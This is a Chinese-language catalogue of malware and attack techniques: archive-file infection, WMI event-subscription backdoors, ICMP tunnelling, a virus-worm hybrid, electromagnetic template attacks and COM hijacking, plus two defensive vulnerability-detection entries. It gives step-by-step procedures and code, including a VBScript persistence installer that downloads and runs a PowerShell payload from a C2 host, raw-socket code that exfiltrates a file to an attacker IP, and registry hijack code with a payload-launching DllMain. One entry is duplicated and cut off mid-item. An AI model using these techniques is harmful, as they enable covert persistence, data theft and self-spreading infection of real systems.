2. 感染软件下载站点的压缩包
3. 感染开源项目源代码发布包
4. 感染文档模板压缩包
5. 通过U盘共享的压缩包传播
6. 游戏模组（Mod）压缩包投毒
7. 感染固件更新包
8. 供应链攻击（污染第三方库压缩包）
9. 勒索软件加密压缩包内文件
10. 学术研究中的压缩文件恶意软件

常量：压缩包文件路径ArchivePath，病毒感染引擎VirusEngine。
变量：压缩包句柄hArchive，目标文件索引targetIndex，临时文件路径tempFile。
参数：目标文件选择策略，是否更新CRC，是否制作SFX。

状态：S0-打开压缩包-> S1-解析内部文件列表-> S2-选择目标文件-> S3-解压目标文件到临时位置-> S4-感染解压后的文件-> S5-重新压缩感染后的文件-> S6-替换压缩包内原文件数据-> S7-更新压缩包元数据（CRC, 大小）-> S8-（可选）修改注释或转换为SFX-> S9-关闭压缩包。

集合：压缩包内文件集合，候选目标文件集合。
组合：对多个目标文件进行感染。
数据完整性：CRC32校验和计算。
压缩算法：Deflate, LZMA等算法的压缩/解压缩操作。

压缩文件格式规范（如ZIP的本地文件头、中央目录结构），CRC32算法。

1. 使用minizip或类似库打开Archive.zip。
2. 遍历中央目录，获取每个文件的文件名、压缩方法、压缩大小、CRC等。
3. 对每个文件，检查扩展名，如果是.exe，则标记为候选。
4. 选择第一个候选文件，解压到temp.exe。
5. 调用病毒感染引擎：infect_pe_file(temp.exe)，生成temp_infected.exe。
6. 计算temp_infected.exe的CRC：new_crc = crc32(0, buf, len)。
7. 压缩temp_infected.exe到内存缓冲区compressed_data。
8. 在ZIP文件中，定位该文件的本地文件头和数据描述符，用新的compressed_data、new_crc、新的压缩大小更新对应区域。如果压缩大小变化，可能还需要调整后续文件的偏移量。
9. 保存修改。

顺序（遍历、解压、感染、压缩、替换）

时间：O(n + m)，n为压缩包内文件数，m为目标文件解压/压缩/感染时间。
空间：需要存储解压后的文件和压缩缓冲区。

通用CPU：执行压缩/解压缩算法（计算密集型）、CRC计算、文件I/O。病毒感染部分涉及PE解析和修改。
指令序列：文件I/O系统调用 -> 解压缩算法指令（如哈夫曼解码）-> CRC32查表指令 -> 病毒感染引擎的指令。

C伪代码（使用minizip）：
unzFile zip = unzOpen(“test.zip”);
unz_global_info gi; unzGetGlobalInfo(zip, &gi);
for (int i=0; i<gi.number_entry; i++) {
unz_file_info file_info; char filename[256];
unzGetCurrentFileInfo(zip, &file_info, filename, …);
if (is_target(filename)) {
unzOpenCurrentFile(zip);
// 解压到临时文件，感染，再压缩回去…
unzCloseCurrentFile(zip);
}
unzGoToNextFile(zip);
}

Virus1-0049​

木马/后门​

基于Windows WMI事件订阅的持久化与执行模型

Windows Management Instrumentation (WMI) 事件订阅后门

1. WMI查询/事件注册：使用WMI查询语言（WQL）注册一个事件过滤器Filter，定义触发条件。例如，监听进程创建事件：SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA ‘Win32_Process’ AND TargetInstance.Name = ‘explorer.exe’。
2. 事件消费者创建：创建事件消费者Consumer，指定事件触发时执行的操作。常见的消费者类型：
- ActiveScriptEventConsumer: 执行VBScript/JScript代码。
- CommandLineEventConsumer: 执行命令行命令。
- SMTPEventConsumer: 发送邮件（较少用）。
3. 绑定过滤器与消费者：创建__FilterToConsumerBinding实例，将过滤器与消费者关联起来。此后，每当系统事件满足过滤器条件，相关联的消费者动作就会自动执行。
4. 持久化存储：WMI仓库（CIM数据库）是系统的一部分，这些过滤器、消费者和绑定作为WMI类的持久实例存储，在系统重启后依然有效。
5. 隐蔽执行：恶意代码执行在wmic.exe或svchost.exe承载的WMI服务上下文中，没有独立的可疑进程，隐蔽性高。

持久性：高，存储在WMI仓库，不易被常规启动项检查发现。隐蔽性：高，无独立进程，执行在系统服务中。触发灵活：可基于丰富的事件触发。

Windows管理规范（WMI）、事件驱动架构、CIM数据库

1. 在特定程序（如浏览器、邮件客户端）启动时执行恶意代码
2. 在用户登录时运行后门
3. 定期（如每隔一段时间）执行任务
4. 在系统启动时执行
5. 作为横向移动的持久化机制
6. 红队测试中的无文件持久化
7. 恶意软件更新机制
8. 窃取特定进程（如密码管理器）的内存
9. 绕过应用白名单（通过WMI调用）
10. 数字取证中的WMI攻击检测

常量：事件过滤器查询字符串WQL_Query，消费者类型ConsumerType，执行命令Command。
变量：过滤器对象objFilter，消费者对象objConsumer，绑定对象objBinding。
参数：事件轮询间隔WITHIN值，消费者执行上下文（用户/系统）。

状态：S0-（安装阶段）获取WMI服务对象-> S1-创建事件过滤器对象-> S2-创建事件消费者对象-> S3-创建过滤器到消费者的绑定-> S4-（运行时）系统事件触发，WMI服务检测到匹配事件-> S5-调用关联的消费者执行恶意操作-> S6-（恶意操作执行完成，消费者等待下次事件）。

事件驱动：基于发布-订阅模式，过滤器是订阅条件，消费者是回调。
查询语言：WQL是SQL的子集，用于查询CIM数据库和定义事件。
集合：系统事件集合，WMI类实例集合。

WMI类名（__EventFilter, ActiveScriptEventConsumer等），WQL查询字符串，VBScript/JScript或命令行。

1. 获取WMI服务：GetObject(“winmgmts:\\.\root\subscription”)。
2. 创建过滤器：Set objFilter = service.Get(“__EventFilter”).SpawnInstance_; objFilter.QueryLanguage = “WQL”; objFilter.Query = “SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA ‘Win32_Process’ AND TargetInstance.Name=’notepad.exe’“; objFilter.Put_。
3. 创建命令行消费者：Set objConsumer = service.Get(“CommandLineEventConsumer”).SpawnInstance_; objConsumer.Name = “MalConsumer”; objConsumer.CommandLineTemplate = “C:\Windows\System32\cmd.exe /c C:\malware.exe”; objConsumer.Put_。
4. 绑定：Set objBinding = service.Get(“__FilterToConsumerBinding”).SpawnInstance_; objBinding.Filter = objFilter; objBinding.Consumer = objConsumer; objBinding.Put_。
5. 此后，每当notepad.exe进程启动，WMI服务就会在后台执行命令C:\malware.exe。

事件驱动（异步，由系统事件触发）

时间：安装步骤O(1)。触发后执行恶意命令的时间取决于命令本身。
空间：在WMI仓库中存储少量实例数据。

x86/x64 CPU：WMI服务（wmiprvse.exe）执行WQL查询解释、事件匹配和消费者调用。消费者执行时，会创建新进程（如cmd.exe）运行命令。
指令序列：WMI服务内部指令 -> COM/DCOM调用 -> 进程创建系统调用。

VBScript安装脚本示例：
Set service = GetObject(“winmgmts:\.\root\subscription”)
‘ 创建过滤器
Set filter = service.Get(“EventFilter”).SpawnInstance
filter.QueryLanguage = “WQL”
filter.Query = “SELECT * FROM InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA ‘Win32_Process’”
filter.Put
‘ 创建消费者
Set consumer = service.Get(“CommandLineEventConsumer”).SpawnInstance
consumer.Name = “BackdoorConsumer”
consumer.CommandLineTemplate = “powershell -w hidden -c iex (New-Object Net.WebClient).DownloadString(‘http://C2/payload.ps1’)”
consumer.Put
‘ 绑定
Set binding = service.Get(“FilterToConsumerBinding”).SpawnInstance
binding.Filter = filter
binding.Consumer = consumer
binding.Put

Virus1-0050​

漏洞发现（自动化推理）​

基于符号执行与抽象解释的缓冲区溢出检测模型

符号执行结合抽象解释检测缓冲区溢出

1. 程序抽象：将程序转换为适合分析的中间表示（IR）。同时使用两种抽象：
- 符号执行：对路径条件进行精确推理，但对循环和递归需要限制深度。
- 抽象解释：在数值抽象域（如区间、八边形）上计算变量的可能取值范围，可以处理循环但会引入过度近似（误报）。
2. 协同分析：
- 使用抽象解释快速计算每个程序点（如函数入口、循环头）的变量范围I = [low, high]。
- 符号执行在探索路径时，可以利用抽象解释提供的范围信息来剪枝不可行路径（如if (x > 10)，而抽象解释得出x ∈ [0, 5]，则该分支不可达）。
3. 缓冲区访问检查：当符号执行遇到缓冲区访问指令buf[symbolic_index]时：
a. 获取缓冲区的符号大小symbolic_size（可能来自前序分配或输入）。
b. 检查约束Φ ∧ (symbolic_index < 0 ∨ symbolic_index >= symbolic_size)是否可满足。如果可满足，则存在可能越界的路径。
c. 同时，利用抽象解释得到的索引范围index_range与缓冲区大小范围size_range进行比较。如果index_range.high >= size_range.low（在取整后）可能越界，则提示警告。
4. 漏洞确认：对符号执行发现的潜在越界路径，使用约束求解器生成具体输入，在真实程序中验证是否确实导致崩溃或越界写入。

精度：结合两者，比单一方法更平衡，减少漏报和误报。效率：比纯符号执行快，比纯抽象解释准。

抽象解释、符号执行、区间运算、约束求解

1. 检测数组越界访问
2. 检测字符串格式化漏洞（sprintf）
3. 检测内存拷贝函数（memcpy, strcpy）的溢出
4. 检测循环中的缓冲区溢出（如读取输入直到换行）
5. 检测整数溢出导致的缓冲区溢出
6. 检测多线程环境下的竞态条件导致的溢出
7. 检测内核驱动中的缓冲区操作错误
8. 检测网络协议解析代码的溢出
9. 智能合约数组越界检测
10. 嵌入式C代码安全审计

常量：目标程序P，数值抽象域（如区间域），符号执行引擎SymExe，抽象解释引擎AbsInt。
变量：符号路径约束Φ，抽象状态（区间映射）A，当前程序点pc。
参数：抽象解释迭代次数、符号执行深度、协同策略（何时切换）。

状态：S0-对程序进行预处理，构建CFG-> S1-运行抽象解释，得到每个程序点的近似区间-> S2-符号执行从入口开始，在分支点利用抽象区间进行可行性判断-> S3-执行到内存访问指令，利用符号约束和抽象区间双重检查越界-> S4-（可能越界）记录路径约束和位置-> S5-（路径结束或超时）对记录的潜在漏洞生成测试用例验证。

区间运算：抽象解释在区间域上计算，如[a,b] + [c,d] = [a+c, b+d]。
逻辑：符号执行维护路径约束Φ，检查satisfiable(Φ ∧ (index<0 ∨ index≥size))。
不动点：抽象解释迭代计算直到区间映射收敛。
组合：将区间信息融入符号约束，生成更紧的约束。

中间表示语言，区间表示[min, max]，约束公式，漏洞报告。

1. 分析代码：void foo(char* buf, int n) { int i=0; while(i < n) { buf[i] = ‘A’; i++; } }，假设调用foo(arr, len)，len来自输入。
2. 抽象解释：入口点n ∈ [0, MAX_INT], i=0。循环头：迭代计算i的区间，理论上会得到i ∈ [0, n]，但由于n未知，区间可能扩大为[0, MAX_INT]，失去精度。
3. 符号执行：将len标记为符号L，i为符号I，路径约束Φ: I >=0 && I < L。循环展开若干次。
4. 访问buf[I]时，检查Φ ∧ (I < 0 ∨ I >= L)。由于Φ包含I < L，所以I >= L不可满足，但I < 0可能可满足？Φ包含I>=0，所以也不可满足。因此符号执行推断该循环内访问安全（前提是循环条件正确）。但如果循环条件有误（如i <= n），符号执行可以发现I == n时的越界访问。
5. 结合两者：如果抽象解释得出i的范围可能超过缓冲区大小的范围，则提示警告，但符号执行可验证是否真有可行路径。

顺序（抽象解释先运行提供信息）+ 协同（符号执行利用抽象信息）

时间：抽象解释O(nk)，n为程序点，k为迭代次数；符号执行是指数级，但利用剪枝可加速。
空间*：存储抽象状态和符号状态。

通用CPU：执行抽象解释的区间计算、符号执行的模拟和约束求解。两者都是CPU密集型，但抽象解释通常更快。
指令序列：抽象解释：区间运算指令 -> 不动点迭代循环。符号执行：指令模拟 -> 约束表达式构建 -> 求解器调用。

伪代码（协同检查）：
interval = absint_analysis(program) // 得到每个变量的区间
for each path in sym_exe(program):
for each memory access a = buf[index]:
size = get_symbolic_size(buf)
// 使用抽象区间快速过滤
if interval[index].high < 0 or interval[index].low >= interval[size].low:
continue // 抽象上安全
// 符号检查
if is_sat(path.constraint && (index<0 or index>=size)):
report_vulnerability(a)

Virus1-0051​

信息窃取/网络​

基于ICMP隧道的数据渗出模型

ICMP隧道（ICMP Tunneling）

1. 数据封装：将待窃取的数据Data（如文件内容、键盘记录）分割成适合ICMP有效载荷（Payload）大小的块Chunk_i。原始ICMP Echo请求/应答的载荷通常是任意数据。将Chunk_i作为ICMP报文的数据部分。
2. 报文构造：构造ICMP Echo请求报文（类型8，代码0）或应答报文（类型0，代码0）。设置标识符Identifier和序列号Sequence Number，可用于排序或标识会话。将Chunk_i放入数据字段。计算ICMP校验和。
3. 发送：通过原始套接字（Raw Socket）将构造的ICMP报文发送到接收方（攻击者控制的主机）IP地址IP_attacker。ICMP报文通常能穿过防火墙，因为许多网络允许ICMP Echo（ping）出站。
4. 接收与重组：接收方（攻击者）监听原始套接字，捕获ICMP Echo请求或应答。根据标识符和序列号重组数据块，得到原始数据Data。
5. 隐蔽性增强：可对载荷进行加密或编码（如Base64），使其看起来像随机数据。也可模仿正常ping的载荷模式（如Windows的ping载荷为字母表，Linux为数字模式）。

带宽：低，受ICMP包大小和速率限制。隐蔽性：中，ICMP流量常见，但异常大量的ICMP包或大载荷可能被检测。

网络协议（ICMP）、原始套接字编程、数据封装

1. 绕过防火墙进行数据渗出（允许ICMP出站）
2. 命令与控制（C2）通信
3. 从隔离网络（空气间隙）中渗出数据（如果ICMP被允许）
4. 隐蔽隧道，用于远程访问
5. 红队测试中的数据渗出
6. 移动设备（Android root后）的隐蔽通信
7. 物联网设备（资源受限）的简单通信
8. 网络隐蔽信道研究
9. 绕过数据丢失防护（DLP）系统
10. 恶意软件与C2之间的心跳机制

常量：接收方IPIP_attacker，隧道标识符TunnelID，块大小ChunkSize（通常<=1472字节减去IP和ICMP头）。
变量：待发送数据Data，当前块索引seq，原始套接字sock_raw。
参数：是否加密载荷Flag_Encrypt，发送间隔（模仿正常ping），是否使用ICMP应答而非请求。

状态：S0-建立原始套接字-> S1-读取待发送数据，分块-> S2-对每个块，构造ICMP Echo请求包-> S3-发送ICMP包-> S4-（接收端）监听原始套接字，过滤ICMP Echo包-> S5-根据标识符和序列号重组数据-> S6-解密/解码，得到原始数据。

集合：数据块集合，按序列号排序。
分块：将数据流分割为固定大小的块，可能需要对最后一块填充。
校验和：ICMP校验和计算（16位反码和）。
编码：可能使用Base64等将二进制数据编码为ASCII，以通过某些可能检查内容的过滤器。

原始ICMP报文结构（类型、代码、校验和、标识符、序列号、数据），可能加密后的载荷。

1. 发送端：sock = socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
2. 将文件secret.txt读入缓冲区buf，分割成ChunkSize（如1024字节）的块chunk[0...n]。
3. 对每个块i：
a. 构造ICMP头：type=8, code=0, checksum=0, id=TunnelID, seq=i。
b. 将chunk[i]附加在ICMP头后。
c. 计算校验和：对整个ICMP报文（头+数据）计算16位反码和，填入checksum字段。
d. 设置目标地址sin.sin_addr.s_addr = inet_addr(IP_attacker)。
e. sendto(sock, packet, sizeof(icmphdr)+chunk_size, 0, (struct sockaddr*)&sin, sizeof(sin));
4. 接收端：类似地创建原始套接字，循环recvfrom。对收到的每个包，检查IP头协议为ICMP，且ICMP类型为8（请求）或0（应答），并且id == TunnelID。提取seq和载荷，按seq顺序写入重组缓冲区。

顺序（数据分块顺序发送）+ 可能需要处理乱序（网络可能导致乱序，依赖序列号重组）

时间：O(data_size / chunk_size)，受网络延迟和发送间隔限制。
空间：需要缓冲区存储当前块和重组数据。

通用CPU：执行原始套接字系统调用、校验和计算、数据分块/重组。网络I/O为主。
指令序列：原始套接字系统调用 -> 内存拷贝（构造报文）-> 校验和计算（循环加法）-> 网络发送/接收系统调用。

C代码片段（发送ICMP Echo请求）：
struct icmphdr *icmp = (struct icmphdr *) packet;
icmp->type = ICMP_ECHO;
icmp->code = 0;
icmp->un.echo.id = htons(getpid()); // 使用PID作为标识符
icmp->un.echo.sequence = htons(seq++);
memcpy(packet + sizeof(struct icmphdr), data_chunk, chunk_len);
icmp->checksum = 0;
icmp->checksum = checksum((unsigned short )icmp, sizeof(struct icmphdr)+chunk_len);
sendto(sock, packet, sizeof(struct icmphdr)+chunk_len, 0, (struct sockaddr)&dest, sizeof(dest));

Virus1-0052​

病毒/复合型​

基于病毒与蠕虫特性结合的混合传播模型

病毒-蠕虫混合传播模型

1. 本地感染（病毒特性）：当病毒被激活后，首先在本地系统进行感染。遍历本地文件和可移动介质（U盘），使用传统的寄生感染技术（如文件感染、宏病毒）将自身复制到可执行文件或文档中。感染目标列表LocalTargets。
2

Virus1-0052​

病毒/复合型​

基于病毒与蠕虫特性结合的混合传播模型

病毒-蠕虫混合传播模型

1. 本地感染（病毒特性）：当病毒被激活后，首先在本地系统进行感染。遍历本地文件和可移动介质（U盘），使用传统的寄生感染技术（如文件感染、宏病毒）将自身复制到可执行文件或文档中。感染目标列表LocalTargets。
2. 网络扫描与传播（蠕虫特性）：在完成初步本地感染后，启动网络传播模块。使用随机扫描或基于拓扑的扫描策略，生成目标IP地址IP_target，并对特定服务端口（如SMB 445, RDP 3389）进行漏洞探测。使用内置的漏洞利用代码（如EternalBlue）尝试攻击。
3. 传播载荷投递：如果漏洞利用成功，将完整的病毒-蠕虫混合体（包含本地感染模块和网络传播模块）作为Payload传输到目标主机并执行。
4. 命令与控制（C2）通信：感染新主机后，尝试连接C2服务器，接收指令（如下载更新模块、发起DDoS攻击、窃取数据）。通信使用加密和隐蔽信道（如DNS隧道）。
5. 多态变形：在每次复制（无论是本地感染还是网络传播）时，病毒体都经过多态引擎变形，改变其二进制特征，以逃避基于特征的检测。

传播速度：结合了病毒的“近距离”传播和蠕虫的“网络自主”传播，速度极快。隐蔽性：多态变形增加了检测难度。破坏力：可结合多种恶意行为。

流行病学模型（SIR模型增强）、图论（网络拓扑、传播树）、密码学（多态引擎）、漏洞利用技术

1. 大规模勒索软件爆发（如WannaCry）
2. 企业内网横向移动与权限提升
3. 组建大型僵尸网络（Botnet）
4. 通过U盘和网络共享双重传播
5. 针对物联网设备的蠕虫式感染
6. 供应链攻击（感染开发环境并传播至产品）
7. 窃取敏感数据并外传
8. 作为分布式拒绝服务（DDoS）攻击的载体
9. 加密货币挖矿蠕虫
10. 高级持续性威胁（APT）的初始传播工具

常量：本地感染目标扩展名列表LocalExts，网络扫描端口列表ScanPorts，漏洞利用代码Exploit，C2服务器地址C2_Addr。
变量：本地感染文件列表InfectedFiles，网络扫描IP队列ScanQueue，当前变形代密钥PolyKey，与C2的会话IDSessionID。
参数：本地/网络传播优先级，扫描速率λ，变形引擎强度PolyStrength，C2心跳间隔HeartbeatInt。

状态：S0-初始激活-> S1-本地感染阶段（遍历文件，感染）-> S2-网络传播阶段（扫描、漏洞利用、投递）-> S3-连接C2，接收指令-> S4-执行指令（DDoS，窃密等）-> S5-（定时触发）返回S1/S2。
子状态机：本地感染和网络传播可并行或按优先级执行。

集合：本地文件集合，网络IP地址空间集合，已感染主机集合。
图论：传播过程形成树或图，节点为主机，边为感染途径。
流行病学：传播模型可表示为dI/dt = β_local * I * (N_local - I)/N_local + β_network * I * (N_network - I)/N_network，其中β_local和β_network分别为本地和网络传播率。
优化：在资源有限时，权衡本地感染和网络扫描的优先级。

多态引擎的汇编/中间语言，网络漏洞利用的Shellcode，C2通信协议（自定义或模仿合法协议）。

1. 触发：用户运行被感染文件。
2. 本地感染：遍历C:\`，对每个文件f，如果扩展名在LocalExts中，则用多态引擎生成变体V' = Poly(V, PolyKey)，并注入f。<br>3. **网络传播**：启动N个线程，每个线程循环：IP = random_IP(); for port in ScanPorts: if is_vulnerable(IP, port, Exploit): upload_and_execute(IP, port, V');。<br>4. **C2通信**：尝试连接C2_Addr，发送上线信息Beacon。循环接收命令Cmd，执行Op(Cmd)`。
5. 持续：定期（如每24小时）重新进行本地感染和网络扫描，以感染新插入的U盘或新上线的主机。

并行序列（本地感染、网络扫描、C2通信可多线程并行）+ 顺序（单次感染过程有序）

时间：O(M + N*P)，M为本地文件数，N为扫描IP数，P为端口数。网络传播是瓶颈。
空间：存储病毒体、扫描队列、C2通信缓冲区，中等开销。

通用CPU：执行密集的文件I/O、网络I/O、字符串处理（遍历路径）、加密运算（多态）、漏洞利用中的内存操作。多线程并发。
指令序列：文件遍历系统调用 -> 网络套接字指令 -> 字符串比较 -> 加密指令（AES/XOR用于多态）-> 系统调用（进程创建、文件写入）。

C伪代码（主循环框架）：
void main() {
polymorphic_engine_init();
start_thread(local_infection_thread);
start_thread(network_worm_thread);
start_thread(c2_communication_thread);
wait_for_threads();
}
void local_infection_thread() { while(1) { infect_local_files(); sleep(LOCAL_INTERVAL); } }
void network_worm_thread() { while(1) { scan_and_infect(); sleep(SCAN_INTERVAL); } }

Virus1-0053​

硬件缺陷（侧信道-电磁）​

基于电磁辐射分析的模板攻击模型

电磁模板攻击

1. 模板构建（分析阶段）：使用可控的实验设备（与目标设备相同），对于所有可能的密钥字节值k ∈ [0, 255]，执行密码操作（如AES的第一轮加密），同时用近场电磁探头采集电磁辐射轨迹T_k(t)。收集多条轨迹以减少噪声，计算平均轨迹M_k(t)和协方差矩阵Σ_k。对每个k，模板为Template_k = (M_k, Σ_k)。
2. 轨迹采集（攻击阶段）：在目标设备上执行相同的密码操作（未知密钥k*），采集单条（或少量）电磁轨迹T(t)。
3. 模板匹配：计算采集轨迹T与每个模板Template_k的多元高斯概率密度（或简化如欧氏距离、皮尔逊相关系数）。对于每个样点t，假设噪声服从多维高斯分布，则对数似然为：log L(k) = -1/2 * (T - M_k)^T * Σ_k^{-1} * (T - M_k) + C。选择使log L(k)最大的k作为密钥字节候选。
4. 密钥恢复：对多字节密钥（如AES-128的16个字节），重复步骤2-3，依次恢复每个字节。也可使用多元模板同时攻击多个字节，但模板构建和匹配复杂度指数上升。

攻击强度：高，在信噪比（SNR）足够时，单次轨迹即可恢复密钥。前提条件：需要与目标相同的可控设备进行模板构建。

多元统计分析、信号处理、电磁学、密码学

1. 攻击智能卡、HSM中的AES、DES、RSA密钥
2. 提取嵌入式设备（如物联网节点）的固件加密密钥
3. 攻击移动设备（手机）安全芯片
4. 边信道评估实验室的认证测试
5. 游戏机硬件（如游戏主机）的密钥提取
6. 汽车电子控制单元（ECU）的密钥提取
7. 支付终端（POS）的侧信道分析
8. 航空航天设备的安全测试
9. 学术研究中的高级侧信道攻击演示
10. 硬件安全模块的漏洞评估

常量：模板集合{Template_k}, k=0..255，密码操作函数CryptoOp，采样率Fs。
变量：采集的轨迹T(t)，每个密钥字节的似然值L_k，恢复的密钥字节k_est。
参数：轨迹对齐方法，噪声协方差估计方法（是否假设各点独立），攻击的字节顺序。

状态：S0-（分析阶段）对每个密钥k，多次执行操作，采集轨迹，构建模板-> S1-（攻击阶段）在目标设备上执行一次操作，采集轨迹T-> S2-轨迹预处理（滤波、对齐）-> S3-对每个候选k，计算T与模板M_k的匹配分数（如相关系数）-> S4-选择分数最高的k作为估计值-> S5-对密钥的每个字节重复S1-S4-> S6-输出完整密钥。

多元统计：假设在m个时间点采样，轨迹是m维向量。模板匹配是多元假设检验。
概率：在高斯噪声假设下，使用最大似然估计（MLE）。
信号处理：轨迹对齐是关键，使用动态时间规整（DTW）或互相关。
线性代数：计算协方差矩阵的逆（若使用全协方差）。

电磁模拟信号（经ADC采样为数字序列），模板数据文件，统计计算脚本。

1. 模板构建：对可控设备，设置密钥字节k，输入随机明文P，执行AES加密第一轮。同时采集电磁轨迹T_{k,i}(t), i=1..N（如N=1000）。计算平均轨迹M_k(t) = (1/N) Σ_i T_{k,i}(t)。计算协方差（通常简化假设各时间点独立，只计算方差σ_k^2(t)）。
2. 攻击：在目标设备上执行一次加密，采集轨迹T(t)，长度L。
3. 简化匹配（假设点独立）：计算平方欧氏距离d_k = Σ_{t=1}^{L} (T(t) - M_k(t))^2 / σ_k^2(t)。选择使d_k最小的k。
4. 或相关性匹配：计算皮尔逊相关系数ρ_k = corr(T, M_k)，选择ρ_k最大的k。
5. 对AES-128的16个字节，依次执行步骤2-4（或使用多元模板同时攻击多个字节），组合得到密钥K = (k0, k1, ..., k15)。

顺序（对每个密钥字节依次攻击）+ 批量（模板匹配是批量计算）

时间：模板构建O(256 * N * L)，N为每条轨迹的平均次数，L为轨迹长度，计算量大。攻击阶段O(256 * L * 密钥字节数)。
空间：存储256个模板，每个模板为长度为L的向量，可能达到GB级。

目标设备CPU：执行密码运算，产生电磁辐射。攻击测量发生在物理层。
攻击者设备：高频示波器、电磁探头、信号放大器、可能用FPGA/GPU加速模板匹配计算。
指令序列：不直接涉及，是物理信号测量和统计分析。

Python伪代码（模板匹配）：
import numpy as np
def template_attack(trace, templates, stds):
# trace: 采集的轨迹 (L,)
# templates: 模板矩阵 (256, L)
# stds: 标准差矩阵 (256, L)，假设点独立
scores = np.zeros(256)
for k in range(256):
# 使用简化欧氏距离（点独立高斯假设）
scores[k] = np.sum(((trace - templates[k]) / stds[k])**2)
return np.argmin(scores) # 返回最可能的密钥字节

Virus1-0054​

木马/无文件​

基于Windows COM劫持与脚本组件的持久化模型

COM组件劫持与脚本持久化

1. COM组件定位：查找在系统启动或特定事件时自动加载的COM组件。这些组件在注册表中注册，其CLSID下的InprocServer32或LocalServer32子键指定了实现的DLL或EXE路径。寻找那些指向不存在的文件或可写目录的注册项。
2. 劫持点选择：选择一个合法的COM组件，其原实现DLL路径不存在（如被卸载软件遗留）或位于用户有写权限的目录（如%APPDATA%）。记录其CLSID {CLSID}和原注册路径OrigPath。
3. 恶意组件制作：创建一个实现相同接口的DLL或脚本组件（如JavaScript、VBScript的.sct文件）。在其中实现恶意代码，如执行PowerShell下载载荷。对于脚本组件，注册为ScriptletURL或InprocServer32指向scrobj.dll并指定脚本文件。
4. 注册表修改：修改注册表，将原COM组件的InprocServer32或LocalServer32的默认值改为恶意DLL路径，或添加ScriptletURL指向恶意.sct文件。位置：HKCR\CLSID\{CLSID}\InprocServer32（默认值=恶意DLL路径）。
5. 触发执行：当系统或应用程序（如Explorer, Office）尝试创建该COM对象实例时，会加载恶意DLL或脚本，执行恶意代码。无需文件落地（脚本内容在注册表中），或只有一个DLL文件。

持久性：高，注册在COM系统中，随系统或应用启动自动加载。隐蔽性：高，尤其使用脚本组件时，恶意代码存储在注册表内，无独立文件。

组件对象模型（COM）、注册表结构、进程外/内激活

1. 绕过应用白名单，通过COM加载恶意代码
2. 在用户登录时通过Explorer加载后门
3. 在Office应用程序启动时执行恶意宏的替代方案
4. 作为漏洞利用后的持久化机制
5. 红队测试中的无文件驻留
6. 窃取浏览器（IE）保存的密码（通过BHO劫持）
7. 监控剪贴板内容
8. 实现键盘记录（通过实现特定的COM接口）
9. 软件供应链攻击（劫持合法软件的COM依赖）
10. 数字取证中的注册表异常检测

常量：目标CLSID TargetCLSID，恶意DLL路径或脚本内容MaliciousPayload，COM接口IID IID_Target。
变量：注册表句柄hKey，原注册表值备份OriginalValue，COM对象实例pUnk。
参数：劫持类型（DLL劫持/脚本组件），触发方式（进程内/外），是否恢复原始注册表项。

状态：S0-枚举或选择目标CLSID-> S1-检查其注册表项，确定劫持可行性-> S2-创建恶意DLL或脚本文件-> S3-修改注册表，指向恶意组件-> S4-（触发时）系统加载COM组件，执行恶意代码-> S5-恶意代码执行后，可继续代理调用原组件（如果存在）以保持功能。

集合：系统中所有已注册CLSID的集合，可劫持的CLSID子集。
逻辑：条件判断（原文件是否存在、路径是否可写）。
注册表路径：HKCR\CLSID\{CLSID}\InprocServer32（默认值）存储DLL路径。

注册表操作API，COM组件开发（DLL的DllGetClassObject），脚本组件文件（.sct）格式。

1. 寻找目标：枚举HKCR\CLSID下的所有子键，对每个{CLSID}，检查InprocServer32默认值。如果该路径指向不存在的文件（如C:\Program Files\OldApp\old.dll），则标记为可劫持。
2. 制作恶意DLL：实现DllGetClassObject，在DllMain或类工厂创建时执行恶意代码RunPayload()。编译为malicious.dll，复制到可写目录（如%TEMP%）。
3. 修改注册表：
RegOpenKeyEx(HKEY_CLASSES_ROOT, “CLSID\{CLSID}\InprocServer32”, 0, KEY_SET_VALUE, &hKey);
RegSetValueEx(hKey, NULL, 0, REG_SZ, (BYTE*)“C:\Windows\Temp\malicious.dll”, ...);
4. 触发：当应用程序调用CoCreateInstance(CLSID_Target, ...)时，COM系统加载malicious.dll，执行恶意代码。
5. （可选）在恶意DLL中，可以加载原始DLL（如果存在）并转发调用，以保持正常功能。

顺序（安装步骤）+ 事件驱动（由COM对象创建请求触发）

时间：安装步骤O(n)，n为枚举的CLSID数量。触发执行是即时的。
空间：恶意DLL或脚本文件大小，通常很小。注册表中存储一个字符串值。

x86/x64 CPU：执行注册表系统调用，COM库加载DLL时的系统调用。恶意DLL在加载进程的上下文执行。
指令序列：注册表系统调用（NtOpenKey, NtSetValueKey） -> 进程/线程创建（如果恶意代码启动新进程） -> 恶意DLL中的代码指令。

C代码片段（修改注册表）：
HKEY hKey;
LSTATUS res = RegOpenKeyEx(HKEY_CLASSES_ROOT, “CLSID\{XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX}\InprocServer32”, 0, KEY_WRITE, &hKey);
if (res == ERROR_SUCCESS) {
RegSetValueEx(hKey, NULL, 0, REG_SZ, (const BYTE*)“C:\Users\Public\malware.dll”, strlen(...)+1);
RegCloseKey(hKey);
}
// 恶意DLL的DllMain示例
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
system(“powershell -c IEX(...)”); // 执行载荷
}
return TRUE;
}

Virus1-0055​

漏洞发现（自动化）​

基于图神经网络（GNN）的漏洞代码模式识别模型

图神经网络漏洞模式学习

1. 代码图表示：将源代码或二进制代码转换为图结构G=(V, E)。节点V可以表示语法元素（如变量、函数调用、操作符），边E表示它们之间的关系（如数据流、控制流、语法结构）。例如，为每个函数构建程序依赖图（PDG）。
2. 节点特征化：为每个节点v提取特征向量x_v，可以包括：节点类型（操作符、变量）、文本内容（变量名）、数据类型、在AST中的深度等。
3. 图神经网络学习：使用多层图卷积网络（GCN）或图注意力网络（GAT）对图进行编码。在每一层l，节点v的表示h_v^{(l)}通过聚合其邻居N(v)的表示更新：h_v^{(l)} = σ( Σ_{u∈N(v)} (1/(c_v)) * W^{(l)} * h_u^{(l-1)} )，其中c_v是归一化常数，W^{(l)}是可学习权重，σ是激活函数。经过L层后，得到每个节点的最终表示h_v^{(L)}。
